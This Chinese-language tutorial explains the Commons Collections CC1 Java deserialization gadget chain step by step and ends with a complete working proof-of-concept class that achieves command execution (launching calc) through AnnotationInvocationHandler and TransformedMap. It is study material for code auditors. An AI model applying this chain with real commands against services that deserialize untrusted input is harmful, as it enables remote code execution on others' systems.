Java反序列化之CommonsCollections CC1链分析
字数 1474 2025-08-10 08:28:04
Java反序列化漏洞分析:CommonsCollections CC1链详解
前言
CC链(CommonsCollections链)是Java反序列化漏洞研究的经典案例,非常适合作为Java代码审计的入门学习内容。本教程将详细分析CC1链的完整利用过程,帮助理解Java反序列化漏洞的原理和利用方式。
环境准备
-
JDK版本:必须使用JDK 8u版本,高版本JDK可能导致执行流程不一致
- 下载地址:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
-
sun包源码:需要获取sun包的源码以便调试
- 下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
- 将下载的sun目录拷贝到JRE安装目录
-
依赖库:commons-collections 3.2.1版本
- 添加到项目依赖中
基础知识
目标执行代码
最终目标是执行以下代码:
Runtime.getRuntime().exec("calc");
反射调用方式
通过反射可以实现相同的功能:
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");
核心组件分析
InvokerTransformer类
InvokerTransformer实现了Transformer接口,关键特性:
- 构造函数:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
- transform方法:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException(...);
} catch (IllegalAccessException var5) {
throw new FunctorException(...);
} catch (InvocationTargetException var6) {
throw new FunctorException(...);
}
}
}
利用方式:
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
TransformedMap类
TransformedMap提供了对Map的装饰功能,关键点:
- decorate方法:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
- checkSetValue方法:
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
ChainedTransformer类
实现多个Transformer的链式调用:
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ConstantTransformer类
总是返回固定值的Transformer:
public Object transform(Object input) {
return this.iConstant;
}
完整利用链构建
1. 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
2. 构造TransformedMap
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "bbb");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
3. 利用AnnotationInvocationHandler
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class, transformedMap);
4. 序列化与反序列化触发
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
关键点解析
为什么使用Target注解
Target注解有一个value()方法,这使得在AnnotationInvocationHandler的readObject方法中:
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// ...
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // 这里需要不为null才能进入
// ...
memberValue.setValue(...);
}
使用Target注解并设置map的key为"value",可以确保memberType不为null,从而进入setValue分支。
执行流程
- 反序列化
AnnotationInvocationHandler对象 - 调用其
readObject方法 - 遍历
memberValues(即我们的transformedMap) - 调用
setValue方法 - 触发
TransformedMap.checkSetValue - 调用
ChainedTransformer.transform - 通过一系列反射调用最终执行命令
完整POC代码
package com.aqn.core;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "bbb");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
总结
CC1链利用的关键点:
- InvokerTransformer的任意方法反射调用能力
- TransformedMap在setValue时的自动transform机制
- AnnotationInvocationHandler在反序列化时自动遍历Map的特性
- ChainedTransformer的链式调用能力
- 使用Target注解确保进入setValue分支
通过精心构造的Transformer链和Map对象,结合Java反序列化机制,最终实现了任意命令执行。理解这个漏洞需要对Java反射、集合框架和序列化机制有深入的理解。